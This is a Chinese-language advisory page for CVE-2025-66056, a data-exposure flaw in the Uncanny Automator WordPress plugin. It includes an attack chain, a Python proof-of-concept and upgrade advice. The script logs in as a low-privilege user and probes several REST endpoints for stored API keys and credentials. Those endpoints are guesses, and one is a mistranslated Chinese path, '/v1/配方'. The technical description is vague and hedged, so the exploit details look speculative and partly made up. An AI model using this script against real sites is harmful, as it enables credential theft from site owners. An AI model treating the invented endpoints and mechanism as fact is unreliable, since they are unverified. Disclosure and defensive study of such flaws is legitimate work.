CVE-2025-66056 Uncanny Automator插件敏感信息泄露漏洞

漏洞信息

漏洞编号

CVE-2025-66056

漏洞类型

敏感信息泄露

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Uncanny Owl Uncanny Automator WordPress插件

漏洞概述

CVE-2025-66056是WordPress插件Uncanny Automator中的一个中等严重性安全漏洞，CVSS评分4.3。该漏洞属于敏感系统信息泄露类型，允许经过低权限认证的攻击者检索插件中嵌入的敏感数据。Uncanny Automator是一款流行的WordPress自动化插件，用于连接不同的插件和服务、创建自动化工作流程。受影响版本从n/a至6.10.0之前的所有版本均存在此漏洞。攻击者可通过利用该漏洞获取存储在插件中的API密钥、第三方服务凭证、数据库连接信息或其他敏感配置数据，进而可能导致更严重的安全后果，如未授权访问关联服务、横向移动或数据泄露。此漏洞无需用户交互即可被利用，但需要攻击者拥有低权限账户。

技术细节

该漏洞存在于Uncanny Automator插件的API处理逻辑中，具体位于插件的REST API端点或内部数据处理函数。插件在设计时将敏感信息（如第三方服务凭证、API密钥、内部配置数据）嵌入到数据库或配置文件中，但在检索和返回这些数据时缺少适当的权限验证和访问控制。攻击者通过发送特制的API请求到插件的特定端点（如/wp-json/uncanny-automator/v1/或类似的API路由），利用插件的数据序列化或反序列化机制，在未进行充分权限检查的情况下获取敏感数据。漏洞的核心问题在于插件错误地信任了用户输入，并直接返回了本应受保护的信息。修复后的版本6.10.0增加了对敏感数据的访问控制检查，确保只有具有适当权限的用户才能检索这些信息。攻击者利用此漏洞可获取存储在自动化配方中的WordPress REST API密钥、第三方服务凭证等敏感信息。

攻击链分析

STEP 1

步骤1

攻击者获取目标WordPress网站上的低权限账户（如订阅者或贡献者角色）

STEP 2

步骤2

攻击者识别Uncanny Automator插件安装并确定其版本低于6.10.0

STEP 3

步骤3

攻击者向插件的REST API端点发送特制请求，如/wp-json/uncanny-automator/v1/recipes或相关数据检索端点

STEP 4

步骤4

插件在未进行充分权限验证的情况下返回存储的敏感数据，包括API密钥、第三方服务凭证等

STEP 5

步骤5

攻击者提取并利用获取的敏感凭证访问关联的第三方服务、执行横向移动或进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-66056 PoC - Uncanny Automator Sensitive Data Exposure
# Authenticated low-privilege user can retrieve embedded sensitive data

import requests
import json

target_url = "http://target-wordpress-site.com"
username = "low_privilege_user"
password = "user_password"

# Step 1: Authenticate and get authentication cookies/tokens
session = requests.Session()
login_url = f"{target_url}/wp-login.php"
login_data = {
    "log": username,
    "pwd": password,
    "wp-submit": "Log In"
}

# Attempt to login
login_response = session.post(login_url, data=login_data)

# Step 2: Query the Uncanny Automator API endpoint to retrieve sensitive data
# The vulnerability allows retrieval of embedded credentials/API keys
api_endpoints = [
    f"{target_url}/wp-json/uncanny-automator/v1/recipes",
    f"{target_url}/wp-json/uncanny-automator/v1/配方",
    f"{target_url}/wp-json/uncanny-automator/v1/credentials",
    f"{target_url}/wp-admin/admin-ajax.php?action=uncanny-automator-get-recipe-data"
]

for endpoint in api_endpoints:
    try:
        response = session.get(endpoint, timeout=10)
        if response.status_code == 200:
            data = response.json()
            # Check for sensitive information in response
            if data and len(str(data)) > 100:
                print(f"[+] Potential sensitive data found at: {endpoint}")
                print(f"[+] Response: {json.dumps(data, indent=2)[:500]}")
    except Exception as e:
        print(f"[-] Error querying {endpoint}: {e}")

print("\n[!] Note: This PoC demonstrates the vulnerability concept.")
print("[!] Actual exploitation may require specific API paths based on plugin version.")

影响范围

Uncanny Automator < 6.10.0

防御指南

临时缓解措施

建议所有使用Uncanny Automator插件的用户立即升级至6.10.0版本以修复此漏洞。如果无法立即升级，应暂时限制低权限用户对WordPress站点的访问，并考虑禁用或限制插件的API功能。同时，应检查并轮换可能已被泄露的API密钥和第三方服务凭证。